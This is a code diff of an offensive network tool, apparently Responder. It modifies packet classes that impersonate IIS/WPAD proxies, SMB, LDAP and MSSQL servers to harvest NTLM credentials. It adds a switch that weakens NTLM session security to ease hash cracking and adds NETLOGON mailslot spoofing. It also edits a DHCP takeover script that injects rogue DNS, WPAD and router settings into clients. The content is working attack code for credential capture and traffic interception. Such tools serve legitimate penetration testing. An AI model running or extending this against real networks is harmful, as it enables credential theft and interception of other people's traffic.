("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
|
||||
@@ -404,7 +639,7 @@ class WPAD_Auth_407_Ans(Packet):
|
||||
class WPAD_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "Proxy-Authenticate: NTLM "),
|
||||
@@ -420,7 +655,7 @@ class WPAD_NTLM_Challenge_Ans(Packet):
|
||||
class WPAD_Basic_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
|
||||
@@ -437,7 +672,7 @@ class WEBDAV_Options_Answer(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
|
||||
("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
|
||||
@@ -525,7 +760,7 @@ class MSSQLNTLMChallengeAnswer(Packet):
|
||||
("TargetInfoLen", "\x7e\x00"),
|
||||
("TargetInfoMaxLen", "\x7e\x00"),
|
||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||
("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"),
|
||||
("TargetNameStr", settings.Config.Domain),
|
||||
("Av1", "\x02\x00"),#nbt name
|
||||
("Av1Len", "\x06\x00"),
|
||||
@@ -637,6 +872,24 @@ class IMAPCapabilityEnd(Packet):
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
##### MQTT Packets #####
|
||||
class MQTTv3v4ResponsePacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("Type", "\x20"),
|
||||
("Len", "\x02"),
|
||||
("Session", "\x00"),
|
||||
("Code", "\x04"),
|
||||
])
|
||||
|
||||
class MQTTv5ResponsePacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("Type", "\x20"),
|
||||
("Len", "\x03"),
|
||||
("Session", "\x00"),
|
||||
("Code", "\x86"),
|
||||
("Prop", "\x00"),
|
||||
])
|
||||
|
||||
##### POP3 Packets #####
|
||||
class POPOKPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
@@ -776,7 +1029,7 @@ class LDAPNTLMChallenge(Packet):
|
||||
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags", "\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtNegotiateFlags", "\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
|
||||
@@ -1182,7 +1435,7 @@ class SMBNegoAns(Packet):
|
||||
("NegHintTag0ASNLen", "\x17"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x15"),
|
||||
("NegHintFinalASNStr", settings.Config.MachineNego),
|
||||
("NegHintFinalASNStr", "not_defined_in_RFC4178@please_ignore"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
@@ -1316,7 +1569,7 @@ class SMBSession1Data(Packet):
|
||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||
@@ -1515,7 +1768,7 @@ class SMB2NegoAns(Packet):
|
||||
("Signing", "\x01\x00"),
|
||||
("Dialect", "\xff\x02"),
|
||||
("Reserved", "\x00\x00"),
|
||||
("Guid", "\xee\x85\xab\xf7\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x76\xa9"),
|
||||
("Guid", urandom(16).decode('latin-1')),
|
||||
("Capabilities", "\x07\x00\x00\x00"),
|
||||
("MaxTransSize", "\x00\x00\x10\x00"),
|
||||
("MaxReadSize", "\x00\x00\x10\x00"),
|
||||
@@ -1538,9 +1791,9 @@ class SMB2NegoAns(Packet):
|
||||
("NegTokenTag0ASNLen", "\x3c"),
|
||||
("NegThisMechASNId", "\x30"),
|
||||
("NegThisMechASNLen", "\x3a"),
|
||||
("NegThisMech1ASNId", "\x06"),
|
||||
("NegThisMech1ASNLen", "\x0a"),
|
||||
("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
|
||||
#("NegThisMech1ASNId", "\x06"),
|
||||
#("NegThisMech1ASNLen", "\x0a"),
|
||||
#("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
|
||||
("NegThisMech2ASNId", "\x06"),
|
||||
("NegThisMech2ASNLen", "\x09"),
|
||||
("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
|
||||
@@ -1561,7 +1814,7 @@ class SMB2NegoAns(Packet):
|
||||
("NegHintTag0ASNLen", "\x26"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x24"),
|
||||
("NegHintFinalASNStr", settings.Config.MachineName+'@'+settings.Config.DomainName),
|
||||
("NegHintFinalASNStr", "not_defined_in_RFC4178@please_ignore"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
@@ -1569,14 +1822,14 @@ class SMB2NegoAns(Packet):
|
||||
|
||||
StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])
|
||||
|
||||
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
|
||||
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
|
||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
|
||||
|
||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
@@ -1592,7 +1845,7 @@ class SMB2NegoAns(Packet):
|
||||
self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
|
||||
self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
|
||||
self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
|
||||
self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
||||
#self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
||||
self.fields["NegThisMech2ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
||||
self.fields["NegThisMech3ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
||||
self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||
@@ -1636,7 +1889,7 @@ class SMB2Session1Data(Packet):
|
||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||
@@ -2128,4 +2381,113 @@ class RPCNTLMNego(Packet):
|
||||
|
||||
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
|
||||
|
||||
################### Mailslot NETLOGON ######################
|
||||
class NBTUDPHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x11"),
|
||||
("MoreFrag", "\x02"),
|
||||
("TID", "\x82\x92"),
|
||||
("SrcIP", "0.0.0.0"),
|
||||
("SrcPort", "\x00\x8a"), ##Always 138
|
||||
("DatagramLen", "\x00\x00"),
|
||||
("PacketOffset", "\x00\x00"),
|
||||
("ClientNBTName", ""),
|
||||
("DstNBTName", ""),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["SrcIP"] = RespondWithIPAton()
|
||||
## DatagramLen.
|
||||
DataGramLen = str(self.fields["PacketOffset"])+str(self.fields["ClientNBTName"])+str(self.fields["DstNBTName"])+str(self.fields["Data"])
|
||||
self.fields["DatagramLen"] = StructWithLenPython2or3(">h",len(DataGramLen))
|
||||
|
||||
class SMBTransMailslot(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("TotalParamCount", "\x00\x00"),
|
||||
("TotalDataCount", "\x00\x00"),
|
||||
("MaxParamCount", "\x02\x00"),
|
||||
("MaxDataCount", "\x00\x00"),
|
||||
("MaxSetupCount", "\x00"),
|
||||
("Reserved", "\x00"),
|
||||
("Flags", "\x00\x00"),
|
||||
("Timeout", "\xff\xff\xff\xff"),
|
||||
("Reserved2", "\x00\x00"),
|
||||
("ParamCount", "\x00\x00"),
|
||||
("ParamOffset", "\x00\x00"),
|
||||
("DataCount", "\x00\x00"),
|
||||
("DataOffset", "\x00\x00"),
|
||||
("SetupCount", "\x03"),
|
||||
("Reserved3", "\x00"),
|
||||
("Opcode", "\x01\x00"),
|
||||
("Priority", "\x00\x00"),
|
||||
("Class", "\x02\x00"),
|
||||
("Bcc", "\x00\x00"),
|
||||
("MailSlot", "\\MAILSLOT\\NET\\NETLOGON"),
|
||||
("MailSlotNull", "\x00"),
|
||||
("Padding", "\x00\x00\x00"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
#Padding
|
||||
if len(str(self.fields["Data"]))%2==0:
|
||||
self.fields["Padding"] = "\x00\x00\x00\x00"
|
||||
else:
|
||||
self.fields["Padding"] = "\x00\x00\x00"
|
||||
BccLen = str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])+str(self.fields["Data"])
|
||||
PacketOffsetLen = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved2"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved3"])+str(self.fields["Opcode"])+str(self.fields["Priority"])+str(self.fields["Class"])+str(self.fields["Bcc"])+str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])
|
||||
|
||||
self.fields["DataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||
self.fields["TotalDataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||
self.fields["DataOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
|
||||
self.fields["ParamOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
|
||||
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(BccLen))
|
||||
|
||||
class SamLogonResponseEx(Packet):
|
||||
fields = OrderedDict([
|
||||
("Cmd", "\x17\x00"),
|
||||
("Sbz", "\x00\x00"),
|
||||
("Flags", "\xfd\x03\x00\x00"),
|
||||
("DomainGUID", "\xe7\xfd\xf2\x4a\x4f\x98\x8b\x49\xbb\xd3\xcd\x34\xc7\xba\x57\x70"),
|
||||
("ForestName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
|
||||
("ForestNameNull", "\x00"),
|
||||
("ForestDomainName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
|
||||
("ForestDomainNull", "\x00"),
|
||||
("DNSName", "\x0a\x73\x65\x72\x76\x65\x72\x32\x30\x30\x33"),
|
||||
("DNSPointer", "\xc0\x18"),
|
||||
("DomainName", "\x04\x53\x4d\x42\x33"),
|
||||
("DomainTerminator", "\x00"),
|
||||
("ServerLen", "\x0a"),
|
||||
("ServerName", settings.Config.MachineName),
|
||||
("ServerTerminator", "\x00"),
|
||||
("UsernameLen", "\x10"),
|
||||
("Username", settings.Config.Username),
|
||||
("UserTerminator", "\x00"),
|
||||
("SrvSiteNameLen", "\x17"),
|
||||
("SrvSiteName", "Default-First-Site-Name"),
|
||||
("SrvSiteNameNull", "\x00"),
|
||||
("Pointer", "\xc0"),
|
||||
("PointerOffset", "\x5c"),
|
||||
("DCAddrSize", "\x10"),
|
||||
("AddrType", "\x02\x00"),
|
||||
("Port", "\x00\x00"),
|
||||
("DCAddress", "\xc0\xab\x01\x65"),
|
||||
("SinZero", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Version", "\x0d\x00\x00\x00"),
|
||||
("LmToken", "\xff\xff"),
|
||||
("LmToken2", "\xff\xff"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
Offset = str(self.fields["Cmd"])+str(self.fields["Sbz"])+str(self.fields["Flags"])+str(self.fields["DomainGUID"])+str(self.fields["ForestName"])+str(self.fields["ForestNameNull"])+str(self.fields["ForestDomainName"])+str(self.fields["ForestDomainNull"])+str(self.fields["DNSName"])+str(self.fields["DNSPointer"])+str(self.fields["DomainName"])+str(self.fields["DomainTerminator"])+str(self.fields["ServerLen"])+str(self.fields["ServerName"])+str(self.fields["ServerTerminator"])+str(self.fields["UsernameLen"])+str(self.fields["Username"])+str(self.fields["UserTerminator"])
|
||||
|
||||
DcLen = str(self.fields["AddrType"])+str(self.fields["Port"])+str(self.fields["DCAddress"])+str(self.fields["SinZero"])
|
||||
self.fields["DCAddress"] = RespondWithIPAton()
|
||||
self.fields["ServerLen"] = StructWithLenPython2or3("<B",len(str(self.fields["ServerName"])))
|
||||
self.fields["UsernameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["Username"])))
|
||||
self.fields["SrvSiteNameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["SrvSiteName"])))
|
||||
self.fields["DCAddrSize"] = StructWithLenPython2or3("<B",len(DcLen))
|
||||
self.fields["PointerOffset"] = StructWithLenPython2or3("<B",len(Offset))
|
||||
|
||||
|
||||
@@ -17,44 +17,24 @@
|
||||
import sys
|
||||
if (sys.version_info < (3, 0)):
|
||||
sys.exit('This script is meant to be run with Python3')
|
||||
|
||||
import struct
|
||||
import random
|
||||
import optparse
|
||||
import configparser
|
||||
import os
|
||||
import codecs
|
||||
import netifaces
|
||||
import binascii
|
||||
|
||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
sys.path.insert(0, BASEDIR)
|
||||
from odict import OrderedDict
|
||||
from utils import *
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
||||
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
|
||||
parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
|
||||
parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
|
||||
parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
|
||||
parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
|
||||
parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
|
||||
parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof")
|
||||
parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
|
||||
options, args = parser.parse_args()
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
if options.Interface is None:
|
||||
print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
|
||||
exit(-1)
|
||||
elif options.RouterIP is None:
|
||||
print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
|
||||
exit(-1)
|
||||
elif options.DNSIP is None:
|
||||
print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
|
||||
exit(-1)
|
||||
elif options.DNSIP2 is None:
|
||||
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
|
||||
exit(-1)
|
||||
|
||||
#Python version
|
||||
if (sys.version_info > (3, 0)):
|
||||
PY2OR3 = "PY3"
|
||||
@@ -95,39 +75,29 @@ class Packet():
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
print('#############################################################################')
|
||||
print('## DHCP INFORM TAKEOVER 0.3 ##')
|
||||
print('## ##')
|
||||
print('## By default, this script will only inject a new DNS/WPAD ##')
|
||||
print('## server to a Windows <= XP/2003 machine. ##')
|
||||
print('## ##')
|
||||
print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
|
||||
print('## any linux box, use -R (can be noisy) ##')
|
||||
print('## ##')
|
||||
print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
|
||||
print('#############################################################################')
|
||||
print('')
|
||||
print(color('[*]', 2, 1), 'Listening for events...')
|
||||
|
||||
config = configparser.ConfigParser()
|
||||
